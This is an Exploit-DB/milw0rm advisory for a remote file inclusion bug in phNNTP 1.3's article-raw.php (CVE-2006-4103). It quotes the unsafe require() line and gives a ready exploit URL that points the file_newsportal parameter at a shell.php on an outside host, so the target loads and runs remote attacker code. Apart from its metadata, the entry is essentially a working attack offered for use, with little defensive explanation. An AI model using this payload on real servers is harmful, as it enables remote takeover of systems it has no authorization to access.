phNNTP 1.3 - 'article-raw.php' Remote File Inclusion

Author: Drago84
type: webapps
platform: php
port: 80.0
date_added: 2006-08-07 
date_updated: 2016-12-01 
verified: 1 
codes: OSVDB-27856;CVE-2006-4103 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comphNNTP-v1.3.tar.gz

phNNTP v1.3 Remote File Inclusion

CreW: ToxiC

Bug Found By Drago84

Source Code:
http://freshmeat.net/redir/phnntp/16290/url_tgz/phNNTP-v1.3.tar.gz

Problem Is:
require("$file_newsportal");

Page Affect:
article-raw.php

Path:
Declare file_newsportal

ExP:
http://server/Dir_phNNTP/article-raw.php?file_newsportal=http://www.evalsite.com/shell.php?

Greatz: Str0ke

# milw0rm.com [2006-08-08]